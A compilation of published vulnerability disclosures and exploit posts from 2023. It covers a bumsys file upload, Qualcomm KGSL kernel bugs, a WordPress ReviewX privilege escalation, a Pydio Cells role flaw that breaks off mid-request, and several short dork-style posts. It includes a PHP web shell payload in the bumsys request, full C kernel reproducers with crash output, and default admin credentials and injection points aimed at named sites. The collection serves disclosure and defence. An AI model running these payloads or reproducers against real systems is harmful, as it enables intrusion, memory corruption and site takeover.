<pre><code>Exploit Title: - unilogies/bumsys v1.0.3-beta - Unrestricted File Upload<br />Google Dork : NA<br />Date: 19-01-2023<br />Exploit Author: AFFAN AHMED<br />Vendor Homepage: https://github.com/unilogies/bumsys<br />Software Link: https://github.com/unilogies/bumsys/archive/refs/tags/v1.0.3-beta.zip<br />Version: 1.0.3-beta<br />Tested on: Windows 11, XAMPP-8.2.0<br />CVE : CVE-2023-0455<br /><br /><br />================================<br />Steps_TO_Reproduce<br />================================<br />- Navigate to this URL:[https://demo.bumsys.org/settings/shop-list/](https://demo.bumsys.org/settings/shop-list/)<br />- Click on action button to edit the Profile<br />- Click on select logo button to upload the image<br />- Intercept the POST Request and do the below changes .<br /><br />================================================================<br />Burpsuite-Request<br />================================================================<br />POST /xhr/?module=settings&page=updateShop HTTP/1.1<br />Host: demo.bumsys.org<br />Cookie: eid=1; currencySymbol=%EF%B7%BC; keepAlive=1; __0bb0b4aaf0f729565dbdb80308adac3386976ad3=9lqop41ssg3i9trh73enqbi0i7<br />Content-Length: 1280<br />Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"<br />X-Csrf-Token: 78abb0cc27ab54e87f66e8160dab3ab48261a8b4<br />Sec-Ch-Ua-Mobile: ?0<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynO0QAD84ekUMuGaA<br />Accept: */*<br />X-Requested-With: XMLHttpRequest<br />Sec-Ch-Ua-Platform: "Windows"<br />Origin: https://demo.bumsys.org<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Dest: empty<br />Referer: https://demo.bumsys.org/settings/shop-list/<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Connection: close<br /><br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopName"<br /><br />TEST<br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopAddress"<br /><br /> test <br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopCity"<br /><br />testcity<br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopState"<br /><br />teststate<br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopPostalCode"<br /><br />700056<br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopCountry"<br /><br />testIND<br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopPhone"<br /><br />895623122<br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopEmail"<br /><br />test@gmail.com<br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopInvoiceFooter"<br /><br /> <br />------WebKitFormBoundarynO0QAD84ekUMuGaA<br />Content-Disposition: form-data; name="shopLogo"; filename="profile picture.php"<br />Content-Type: image/png<br /><br /><?php echo system($_REQUEST['dx']); ?><br /><br /><br />====================================================================================<br />Burpsuite-Response<br />====================================================================================<br />HTTP/1.1 200 OK<br />Date: Thu, 19 Jan 2023 07:14:26 GMT<br />Server: Apache/2.4.51 (Unix) OpenSSL/1.0.2k-fips<br />X-Powered-By: PHP/7.0.33<br />Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />Cache-Control: no-store, no-cache, must-revalidate<br />Pragma: no-cache<br />Connection: close<br />Content-Type: text/html; charset=UTF-8<br />Content-Length: 65<br /><br /><div class='alert alert-success'>Shop successfully updated.</div><br /><br /><br />====================================================================================<br /><br />VIDEO-POC : https://youtu.be/nwxIoSlyllQ<br /> <br /></code></pre>
<pre><code>Qualcomm Adreno/KGSL: pages can be freed to page pool while having GPU references [on !CONFIG_QCOM_KGSL_USE_SHMEM]<br /><br />[Tested on a Pixel 4 again with a slightly outdated version of KGSL. I ordered a Pixel 5a but don't have it yet...]<br /><br />On KGSL builds where CONFIG_QCOM_KGSL_USE_SHMEM is not set (or on older KGSL versions without CONFIG_QCOM_KGSL_USE_SHMEM), KGSL allocates GPU-shared memory from its own page pool. Pages from this pool are inserted into VMAs that don't have any weird flags like VM_PFNMAP set, which means userspace can grab extra references to these pages through get_user_pages() (for example, using vmsplice()). But when GPU-shared memory is freed, KGSL puts the freed pages into its own page pool without checking the page refcount. This means that pages that are still accessible from userspace can be reallocated as GPU memory by another process. I don't know exactly what the security impact of this is and whether it leads to privilege escalation between userspace processes, but it probably leads at least to data leakage?<br /><br />Testcase that demonstrates cross-process data leakage (in an artificial scenario, between two cooperating processes):<br /><br /><br />#define _GNU_SOURCE<br />#include <err.h><br />#include <fcntl.h><br />#include <unistd.h><br />#include <signal.h><br />#include <stdlib.h><br />#include <assert.h><br />#include <stdio.h><br />#include <sys/prctl.h><br />#include <sys/ioctl.h><br />#include <sys/mman.h><br /><br />#define SYSCHK(x) ({ \\<br /> typeof(x) __res = (x); \\<br /> if (__res == (typeof(x))-1) \\<br /> err(1, \"SYSCHK(\" #x \")\"); \\<br /> __res; \\<br />})<br /><br /><br />#define KGSL_IOC_TYPE 0x09<br />enum kgsl_user_mem_type {<br />KGSL_USER_MEM_TYPE_PMEM = 0x00000000,<br />KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,<br />KGSL_USER_MEM_TYPE_ADDR = 0x00000002,<br />KGSL_USER_MEM_TYPE_ION = 0x00000003,<br />KGSL_USER_MEM_TYPE_DMABUF = 0x00000003,<br />KGSL_USER_MEM_TYPE_MAX = 0x00000007,<br />};<br /><br />struct kgsl_gpumem_alloc {<br />unsigned long gpuaddr; /* output param */<br />size_t size;<br />unsigned int flags;<br />};<br />#define KGSL_MEMALIGN_SHIFT 16<br />#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL<br />#define KGSL_CACHEMODE_SHIFT 26<br />#define KGSL_CACHEMODE_WRITECOMBINE 0<br />#define KGSL_CACHEMODE_UNCACHED 1<br />#define KGSL_CACHEMODE_WRITETHROUGH 2<br />#define KGSL_CACHEMODE_WRITEBACK 3<br />#define KGSL_MEMTYPE_SHIFT 8<br />#define KGSL_MEMTYPE_OBJECTANY 0<br /><br />#define IOCTL_KGSL_GPUMEM_ALLOC \\<br />_IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc)<br /><br />struct kgsl_sharedmem_free {<br />unsigned long gpuaddr;<br />};<br />#define IOCTL_KGSL_SHAREDMEM_FREE \\<br />_IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)<br /><br />void child_func(void) {<br /> int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR));<br /><br /> for (int i=0; i<10000; i++) {<br /> struct kgsl_gpumem_alloc kga = {<br /> .size = 0x1000,<br /> .flags = (2<<KGSL_MEMALIGN_SHIFT) | KGSL_MEMFLAGS_USE_CPU_MAP | (KGSL_CACHEMODE_WRITEBACK << KGSL_CACHEMODE_SHIFT) | (KGSL_MEMTYPE_OBJECTANY << KGSL_MEMTYPE_SHIFT)<br /> };<br /> SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_ALLOC, &kga));<br /> unsigned long gpuaddr = kga.gpuaddr;<br /> //printf(\"[c] allocated 0x%lx\<br />\", gpuaddr);<br /> unsigned long *map = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, kgsl_fd, gpuaddr));<br /> map[0] = 0xbbbb000000000000 | (i);<br /> //printf(\"[c] mapped as %p\<br />\", map);<br /> }<br /> printf(\"[c] done with spam\<br />\");<br /> sleep(5);<br />}<br /><br />int main(void) {<br /> setbuf(stdout, NULL);<br /> setbuf(stderr, NULL);<br /><br /> int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR));<br /> struct kgsl_gpumem_alloc kga = {<br /> .size = 0x1000,<br /> .flags = (2<<KGSL_MEMALIGN_SHIFT) | KGSL_MEMFLAGS_USE_CPU_MAP | (KGSL_CACHEMODE_WRITEBACK << KGSL_CACHEMODE_SHIFT) | (KGSL_MEMTYPE_OBJECTANY << KGSL_MEMTYPE_SHIFT)<br /> };<br /> SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_ALLOC, &kga));<br /> unsigned long gpuaddr = kga.gpuaddr;<br /> printf(\"[p] allocated 0x%lx\<br />\", gpuaddr);<br /> unsigned long *map = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, kgsl_fd, gpuaddr));<br /> map[0] = 0xaaaaaaaa;<br /> printf(\"[p] mapped as %p\<br />\", map);<br /><br /> int pipefds[2];<br /> SYSCHK(pipe(pipefds));<br /> struct iovec iov = {<br /> .iov_base = map,<br /> .iov_len = 0x1000<br /> };<br /> assert(SYSCHK(vmsplice(pipefds[1], &iov, 1, SPLICE_F_NONBLOCK)) == iov.iov_len);<br /><br /> SYSCHK(munmap(map, 0x1000));<br /> struct kgsl_sharedmem_free arg_sf = {<br /> .gpuaddr = gpuaddr<br /> };<br /> SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_SHAREDMEM_FREE, &arg_sf));<br /><br /> pid_t child = SYSCHK(fork());<br /> if (child == 0) {<br /> SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL));<br /> if (getppid() == 1)<br /> exit(0);<br /> child_func();<br /> exit(0);<br /> }<br /><br /> sleep(1);<br /> unsigned long later_data;<br /> assert(SYSCHK(read(pipefds[0], &later_data, 8)) == 8);<br /> printf(\"[p] read 0x%lx\<br />\", later_data);<br />}<br /><br />Output:<br /><br />$ aarch64-linux-gnu-gcc -static -o kgsl-pool-page-uaf kgsl-pool-page-uaf.c && adb push kgsl-pool-page-uaf /data/local/tmp/ && adb shell /data/local/tmp/kgsl-pool-page-uaf<br />kgsl-pool-page-uaf: 1 file pushed, 0 skipped. 80.7 MB/s (704808 bytes in 0.008s)<br />[p] allocated 0x500000000<br />[p] mapped as 0x726bfc4000<br />[p] read 0xbbbb00000000115a<br /><br /><br /><br />This bug is subject to a 90-day disclosure deadline. If a fix for this<br />issue is made available to users before the end of the 90-day deadline,<br />this bug report will become public 30 days after the fix was made<br />available. Otherwise, this bug report will become public at the deadline.<br />The scheduled deadline is 2023-05-09.<br /><br />Related CVE Numbers: CVE-2023-21666.<br /><br /><br /><br />Found by: jannh@google.com<br /><br /></code></pre>
<pre><code>Qualcomm Adreno/KGSL: unchecked cast of vma->vm_file->private_data in kgsl_setup_dmabuf_useraddr()<br /><br />[Tested on a Pixel 4 (flame), on the latest update from 2023-02, which self-reports as SPL 2022-10-05, since I don't yet have any newer device with KGSL here - but as far as I can tell from the sources, it should also affect current versions.]<br /><br />The following bug was apparently introduced in https://git.codelinaro.org/clo/la/kernel/msm-3.18/-/commit/7ada2c15e39e5288b67ed5ae94b0a8dcb181b911 as part of the fix for CVE-2022-25743.<br /><br />In drivers/gpu/msm/kgsl.c (on the msm/android-msm-redbull-4.19-android13-qpr1 branch of https://android.googlesource.com/kernel/msm), kgsl_setup_dmabuf_useraddr() (reachable via IOCTL_KGSL_MAP_USER_MEM with KGSL_USER_MEM_TYPE_ADDR) does the following:<br /><br /> - look up a VMA by user-specified address (find_vma())<br /> - check that the VMA is not anonymous (vma->vm_file)<br /> - check that the VMA does *NOT* belong to KGSL<br /> - cast the vma->vm_file->private_data to a "struct dma_buf" [bogus cast]<br /><br />This type-confused pointer is then passed down to kgsl_setup_dma_buf(), which passes it to dma_buf_attach(), which accesses fields through the type-confused pointer.<br /><br /><br />Here's a simple reproducer that confuses "struct dma_buf" with "struct binder_proc" - build it like "aarch64-linux-gnu-gcc -static -o kgsl-vma-type-confusion kgsl-vma-type-confusion.c":<br /><br /><br />#define _GNU_SOURCE<br />#include <err.h><br />#include <fcntl.h><br />#include <stdlib.h><br />#include <sys/ioctl.h><br />#include <sys/mman.h><br /><br />#define SYSCHK(x) ({ \<br /> typeof(x) __res = (x); \<br /> if (__res == (typeof(x))-1) \<br /> err(1, "SYSCHK(" #x ")"); \<br /> __res; \<br />})<br /><br /><br />typedef unsigned long binder_size_t;<br />typedef unsigned long binder_uintptr_t;<br />enum binder_driver_command_protocol {<br /> BC_INCREFS = _IOW('c', 4, unsigned int),<br />};<br />struct binder_write_read {<br />binder_size_t write_size; /* bytes to write */<br />binder_size_t write_consumed; /* bytes consumed by driver */<br />binder_uintptr_t write_buffer;<br />binder_size_t read_size; /* bytes to read */<br />binder_size_t read_consumed; /* bytes consumed by driver */<br />binder_uintptr_t read_buffer;<br />};<br />#define BINDER_WRITE_READ _IOWR('b', 1, struct binder_write_read)<br /><br /><br />#define KGSL_IOC_TYPE 0x09<br />enum kgsl_user_mem_type {<br />KGSL_USER_MEM_TYPE_PMEM = 0x00000000,<br />KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,<br />KGSL_USER_MEM_TYPE_ADDR = 0x00000002,<br />KGSL_USER_MEM_TYPE_ION = 0x00000003,<br />KGSL_USER_MEM_TYPE_DMABUF = 0x00000003,<br />KGSL_USER_MEM_TYPE_MAX = 0x00000007,<br />};<br />#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U<br />struct kgsl_map_user_mem {<br />int fd;<br />unsigned long gpuaddr; /*output param */<br />size_t len;<br />size_t offset;<br />unsigned long hostptr; /*input param */<br />enum kgsl_user_mem_type memtype;<br />unsigned int flags;<br />};<br /><br />#define IOCTL_KGSL_MAP_USER_MEM \<br />_IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)<br /><br />int main(void) {<br /> /*<br /> * set up binder a little bit so that its private data isn't full of null<br /> * bytes<br /> */<br /> int binder_fd = SYSCHK(open("/dev/binder", O_RDWR));<br /> unsigned int write_buffer[2] = {<br /> BC_INCREFS, // cmd<br /> 0, // target<br /> };<br /> struct binder_write_read arg_bwr = {<br /> .write_size = sizeof(write_buffer),<br /> .write_buffer = (unsigned long)write_buffer<br /> };<br /> SYSCHK(ioctl(binder_fd, BINDER_WRITE_READ, &arg_bwr));<br /> char *binder_vma = SYSCHK(mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, binder_fd, 0));<br /><br /> int kgsl_fd = SYSCHK(open("/dev/kgsl-3d0", O_RDWR));<br /> struct kgsl_map_user_mem arg_mum = {<br /> .len = 0x1001,<br /> .offset = 0,<br /> .hostptr = (unsigned long)binder_vma,<br /> .memtype = KGSL_USER_MEM_TYPE_ADDR,<br /> .flags = KGSL_MEMFLAGS_GPUREADONLY<br /> };<br /> SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_MAP_USER_MEM, &arg_mum));<br />}<br /><br /><br />When you run this on a Pixel 4, you'll get a splat like this:<br /><br /><br />[ 45.744676] Unexpected kernel BRK exception at EL1<br />[ 45.744689] Unhandled debug exception: ptrace BRK handler (0xf2005512) at 0xffffff95081fd358<br />[ 45.744695] Internal error: : 0 [#1] PREEMPT SMP<br />[ 45.744700] Modules linked in: ftm5(O) heatmap videobuf2_vmalloc videobuf2_memops lkdtm adsp_loader_dlkm stub_dlkm usf_dlkm native_dlkm machine_dlkm platform_dlkm wcd_cpe_dlkm wsa881x_dlkm wcd934x_dlkm wcd9360_dlkm mbhc_dlkm wcd9xxx_dlkm swr_ctrl_dlkm cs35l36_dlkm q6_dlkm swr_dlkm apr_dlkm q6_notifier_dlkm q6_pdr_dlkm wglink_dlkm wcd_spi_dlkm wcd_core_dlkm pinctrl_wcd_dlkm msm_11ad_proxy wlan(O) incrementalfs<br />[ 45.744735] Process kgsl-vma-type-c (pid: 7371, stack limit = 0x0000000017bcb360)<br />[ 45.744741] CPU: 6 PID: 7371 Comm: kgsl-vma-type-c Tainted: G S W O 4.14.276-g6ef255005cea-ab9062920 #1<br />[ 45.744744] Hardware name: Qualcomm Technologies, Inc. SM8150 V2 PM8150 Google Inc. MSM sm8150 Flame (DT)<br />[ 45.744748] task: 000000004f4f2973 task.stack: 0000000017bcb360<br />[ 45.744762] pc : osq_lock+0x17c/0x180<br />[ 45.744772] lr : __mutex_lock+0x134/0x7d8<br />[ 45.744776] sp : ffffff802681bab0 pstate : a0400145<br />[ 45.744779] x29: ffffff802681baf0 x28: ffffffdb21200da8<br />[ 45.744783] x27: ffffffdaa65e9800 x26: ffffffdaad722c00<br />[ 45.744786] x25: ffffff950aa8d000 x24: 000000000013a934<br />[ 45.744790] x23: ffffffdac40fda48 x22: ffffffdb6ac56c34<br />[ 45.744794] x21: 0000000000000002 x20: ffffffdb6ac56c28<br />[ 45.744797] x19: ffffffdac40fda00 x18: ffffffdab6d89458<br />[ 45.744801] x17: 0000000000000000 x16: ffffff9508095b90<br />[ 45.744805] x15: 0000000000000000 x14: 0000000000000070<br />[ 45.744809] x13: 0000000000000007 x12: 00000000ffffffda<br />[ 45.744812] x11: ffffff950a6a3028 x10: ffffff950a6aed80<br />[ 45.744816] x9 : ffffffdbffbb3d80 x8 : 0000000000000000<br />[ 45.744820] x7 : 0000000000000000 x6 : 000000000000003f<br />[ 45.744824] x5 : 0000000000000040 x4 : 0000000000000000<br />[ 45.744828] x3 : 0000000000000004 x2 : ffffffdac40fda00<br />[ 45.744831] x1 : 0000000000000002 x0 : ffffffdb6ac56c34<br />[ 45.744837] \x0aPC: osq_lock+0x13c/0x180:<br />[ 45.744840] d318 540001c0 f940012d b4fffead aa1f03ee f8ee812d d503201f d503201f d503201f<br />[ 45.744848] d338 d503201f b4fffdcd 2a1f03e0 f90005ac f900014d 17ffffdb 2a1f03e0 17ffffd9<br />[ 45.744855] d358 d42aa240 f800865e f81f0ffe d001252b d538d088 9100a16b b86b6908 aa1f03e2<br />[ 45.744862] d378 11000509 93407d21 aa0003e8 2a0103fe 88befc02 2a1e03e0 6b00013f 54000081<br />[ 45.744870] \x0aLR: __mutex_lock+0xf4/0x7d8:<br />[ 45.744874] 8b94 b9045a68 35000196 14000030 b9445a68 71000508 540000e1 52b00008 b9045a68<br />[ 45.744881] 8bb4 b9445e68 350031a8 b9045a7f 14000002 b9045a68 91003296 aa1603e0 97939183<br />[ 45.744888] 8bd4 36000440 f9400281 f27df028 540000c0 eb13011f 540001e1 361001c1 92400428<br />[ 45.744895] 8bf4 14000002 92400828 927ef908 aa1403e0 aa130102 aa0103fe c8fe7e82 aa1e03e0<br />[ 45.744905] \x0aSP: 0xffffff802681ba70:<br />[ 45.744908] ba70 081fd358 ffffff95 a0400145 00000000 00000000 00000000 d0608d00 c7188d35<br />[ 45.744916] ba90 ffffffff 0000007f 08c74984 ffffff95 2681baf0 ffffff80 081fd358 ffffff95<br />[ 45.744923] bab0 09d18bd4 ffffff95 0841e720 ffffff95 2681bb30 ffffff80 00000000 00000000<br />[ 45.744930] bad0 00000000 00000000 00000000 00000000 00000000 00000000 d0608d00 c7188d35<br />[ 45.744936]<br />[ 45.744940] Call trace:<br />[ 45.744943] osq_lock+0x17c/0x180<br />[ 45.744947] __mutex_lock_slowpath+0x14/0x20<br />[ 45.744954] dma_buf_attach+0x78/0x1cc<br />[ 45.744960] kgsl_setup_dma_buf+0x5c/0x580<br />[ 45.744964] kgsl_setup_useraddr+0x118/0x89c<br />[ 45.744968] kgsl_ioctl_map_user_mem+0x210/0x73c<br />[ 45.744973] kgsl_ioctl_helper+0x13c/0x194<br />[ 45.744977] kgsl_ioctl+0x34/0xf0<br />[ 45.744982] do_vfs_ioctl+0x938/0xf3c<br />[ 45.744986] SyS_ioctl+0x138/0x16c<br />[ 45.744992] el0_svc_naked+0x34/0x38<br />[ 45.744997] Code: f900014d 17ffffdb 2a1f03e0 17ffffd9 (d42aa240)<br />[ 45.745002] ---[ end trace b07b8661a56776c3 ]---<br /><br /><br />As you can see, dma_buf_attach() is trying to call mutex_lock(&dmabuf->lock) on the type-confused dmabuf pointer, which crashes the mutex implementation.<br /><br /><br />This bug is subject to a 90-day disclosure deadline. If a fix for this<br />issue is made available to users before the end of the 90-day deadline,<br />this bug report will become public 30 days after the fix was made<br />available. Otherwise, this bug report will become public at the deadline.<br />The scheduled deadline is 2023-05-09<br /><br /><br />This is QPSIIR-1788."<br /><br />This is A-271879598.<br /><br />bulletin entry:<br />https://source.android.com/docs/security/bulletin/2023-05-01#qualcomm-components<br /><br />fix commit:<br />https://git.codelinaro.org/clo/la/kernel/msm-4.19/-/commit/86695e1dd101e71571998281541b0b4378f89414<br /><br />Related CVE Numbers: CVE-2022-25743,CVE-2023-21665.<br /><br /><br /><br />Found by: jannh@google.com<br /><br /></code></pre>
<pre><code>Description: ReviewX <= 1.6.13 – Arbitrary Usermeta Update to Authenticated (Subscriber+) Privilege Escalation <br /><br />Affected Plugin: ReviewX – Multi-criteria Rating & Reviews for WooCommerce<br /><br />Plugin Slug: reviewx<br /><br />Affected Versions: <= 1.6.13<br /><br />CVE ID: CVE-2023-2833<br /><br />CVSS Score: 8.8 (High)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H<br /><br />Researcher/s: Lana Codes <br /><br />Fully Patched Version: 1.6.14<br /><br />The ReviewX plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.6.13 due to insufficient restriction on the ‘rx_set_screen_options’ function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role via the ‘wp_screen_options[option]’ and ‘wp_screen_options[value]’ parameters during a screen option update.<br /><br />Technical Analysis<br /><br />ReviewX is a plugin that primarily enables customers to add ratings and reviews to WooCommerce stores, but it is also possible to use it with custom post types.<br /><br />The reviews are listed on the WordPress admin page, which includes a screen option for how many reviews should be displayed per page for the admin user. Unfortunately, this feature was implemented insecurely, allowing all authenticated users to modify their capabilities, including granting themselves administrator capabilities.<br /><br />Upon closer examination of the code, we see that the ‘rx_set_screen_options’ function, which updates a user’s per-page screen option, is hooked to the ‘admin_init’ action.<br /><br />[View the Code Snippets on the Blog] <br /><br />This hook is triggered on every admin page without any post type or page restrictions. This means that the ‘rx_set_screen_options’ hooked function is invoked on all admin pages, allowing users who otherwise do not have access to the plugin to also access the function, as the function itself does not contain any restrictions.<br /><br />This makes it possible for any authenticated user with an account, such as a subscriber, to invoke the ‘rx_set_screen_options’ function.<br /><br />[View the Code Snippets on the Blog] <br /><br />The function includes a nonce check, but it uses a general nonce that is available on every admin page where there is a screen option.<br /><br />The most significant problem and vulnerability is caused by the fact that there are no restrictions on the option, so the user’s metadata can be updated arbitrarily, and there is no sanitization on the option value, so any value can be set, including an array value, which is necessary for the capability meta option.<br /><br />This made it possible for authenticated users, such as subscribers, to supply the ‘wp_capabilities’ array parameter with any desired capabilities, such as administrator, during a screen option update.<br /><br />As with any Privilege Escalation vulnerability, this can be used for complete site compromise. Once an attacker has gained administrative user access to a WordPress site they can then manipulate anything on the targeted site as a normal administrator would. This includes the ability to upload plugin and theme files, which can be malicious zip files containing backdoors, and modifying posts and pages which can be leveraged to redirect site users to other malicious sites.<br /><br />Disclosure Timeline<br /><br />May 20, 2023 – Discovery of the Privilege Escalation vulnerability in ReviewX.<br /><br />May 20, 2023 – We initiate contact with the plugin vendor asking that they confirm the inbox for handling the discussion.<br /><br />May 21, 2023 – The vendor confirms the inbox for handling the discussion.<br /><br />May 21, 2023 – We send over the full disclosure details. The vendor acknowledges the report and begins working on a fix.<br /><br />May 22, 2023 – Wordfence Premium, Care, and Response users receive a firewall rule to provide protection against any exploits that may target this vulnerability.<br /><br />May 23, 2023 – A fully patched version of the plugin, 1.6.14, is released.<br /><br />June 21, 2023 – Wordfence Free users receive the same protection.<br /><br />Conclusion<br /><br />In this blog post, we detailed a Privilege Escalation vulnerability within the ReviewX plugin affecting versions 1.6.13 and earlier. This vulnerability allows authenticated threat actors with subscriber-level permissions or higher to elevate their privileges to that of a site administrator which could ultimately lead to complete site compromise. The vulnerability has been fully addressed in version 1.6.14 of the plugin.<br /><br />We encourage WordPress users to verify that their sites are updated to the latest patched version of ReviewX.<br /><br />Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on May 22, 2023. Sites still using the free version of Wordfence will receive the same protection on June 21, 2023.<br /><br />If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.<br /><br />For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard.<br /></code></pre>
<pre><code>Vulnerability: Broken Access Control<br />Author: Akash Pandey<br />CVE: CVE-2023-3018<br />Source:<br />https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html<br /><br />*Steps to re-produce*:<br /><br />1. Go to https://site.com/admin/?page=user/list as staff user.<br /><br />2. Notice that as a staff user I am able to access admin functionalities.<br /><br />3. Now as a staff I am able to edit admin user’s password<br /><br />POC:<br /><br />https://medium.com/@akashpandey380/lost-and-found-information-system-v1-0-idor-cve-2023-977966c4450d<br /></code></pre>
<pre><code># Exploit Title: Microsoft GamingServicesNet 12.77.3001.0 -<br />'GamingServicesNet' Unquoted Service Path<br /># Exploit Author: tmrswrr<br /># Exploit Date: 2023-05.17<br /># Vendor : https://www.microsoft.com/store/productId/9MWPM2CQNLHN<br /># Version : 12.77.3001.0<br /># Tested on OS: Windows 10 Enterprise<br /><br /># Step to discover Unquoted Service Path:<br /><br />==============<br />>> wmic service get name,displayname,pathname,startmode |findstr /i "auto"<br />|findstr /i /v "c:\windows\\" |findstr /i /v """<br /><br />Gaming Services GamingServicesNet<br />C:\Program<br />Files\WindowsApps\Microsoft.GamingServices_12.77.3001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe<br /><br /> Auto<br /><br />C:\>sc qc GamingServicesNet<br />[SC] QueryServiceConfig SUCCESS<br /><br />SERVICE_NAME: GamingServicesNet<br /> TYPE : 210 WIN32_PACKAGED_PROCESS<br /> START_TYPE : 2 AUTO_START<br /> ERROR_CONTROL : 0 IGNORE<br /> BINARY_PATH_NAME : C:\Program<br />Files\WindowsApps\Microsoft.GamingServices_12.77.3001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe<br /> LOAD_ORDER_GROUP :<br /> TAG : 0<br /> DISPLAY_NAME : Gaming Services<br /> DEPENDENCIES : staterepository<br /> SERVICE_START_NAME : NT AUTHORITY\LocalService<br /><br />C:\>systeminfo<br />Host Name: DESKTOP-JAN8AJH<br />OS Name: Microsoft Windows 10 Enterprise Evaluation<br />OS Version: 10.0.19045 N/A Build 19045<br /></code></pre>
<pre><code>========================================================================================<br />| # Title : Apple Zeed ALL YOUR STYLE CMS 2.0 SQL injection Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 109.0(64-bit) | <br />| # Vendor : https://www.applezeed.com/web-creative-package-all-your-style.php | <br />| # Dork : Power BY applezeed.com | <br />========================================================================================<br /><br />poc :<br /><br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] Use payload : tour-detail.php?id=4435<br /><br />[+] https://127.0.0.1/https/biggestjoy.com/tour-detail.php?id=4435 <==== inject here <br /><br /><br />Greetings to :=============================================================================<br />jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*| <br />===========================================================================================<br /></code></pre>
<pre><code>================================================================================<br />| # Title : Vaskar Courier Version 3.2.0 Insecure Settings Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Fr(Pro) / browser : firefox 113.0.1(64 bits) | <br />| # Vendor : https://www.vaskar.in/ | <br />| # Dork : "Designed and Developed by Vaskar Web" |<br />================================================================================<br /><br />poc :<br /><br />[+] The vulnerability is about leaves a default set of administrative credentials installed post installation.<br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] Use Payload : user = admin & pass= 123 <br /><br />[+] https://127.0.0.1/geetanjalicourier.com/admin/<br /><br />Greetings to :=====================================================================================<br />jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |<br />===================================================================================================<br /></code></pre>
<pre><code>Advisory: Pydio Cells: Unauthorised Role Assignments<br /><br />Pydio Cells allows users by default to create so-called external users<br />in order to share files with them. By modifying the HTTP request sent<br />when creating such an external user, it is possible to assign the new<br />user arbitrary roles. By assigning all roles to a newly created user, access to<br />all cells and non-personal workspaces is granted.<br /><br /><br />Details<br />=======<br /><br />Product: Pydio Cells<br />Affected Versions: 4.1.2 and earlier versions<br />Fixed Versions: 4.2.0, 4.1.3, 3.0.12<br />Vulnerability Type: Privilege Escalation<br />Security Risk: high<br />Vendor URL: https://pydio.com/<br />Vendor Status: notified<br />Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-003<br />Advisory Status: published<br />CVE: CVE-2023-32749<br />CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32749<br /><br /><br />Introduction<br />============<br /><br />"Pydio Cells is an open-core, self-hosted Document Sharing and<br />Collaboration platform (DSC) specifically designed for organizations<br />that need advanced document sharing and collaboration without security<br />trade-offs or compliance issues."<br /><br />(from the vendor's homepage)<br /><br /><br />More Details<br />============<br /><br />Users can share cells or folders with other users on the same Pydio<br />instance. The web application allows to either select an already<br />existing user from a list or to create a new user by entering a new<br />username and password, if this functionality is enabled. When creating a<br />new user in this way, a HTTP PUT request like the following is sent:<br /><br />------------------------------------------------------------------------<br />PUT /a/user/newuser HTTP/2<br />Host: example.com<br />User-Agent: agent<br />Authorization: Bearer O48gvjD[...]<br />Content-Type: application/json<br />Content-Length: 628<br />Cookie: 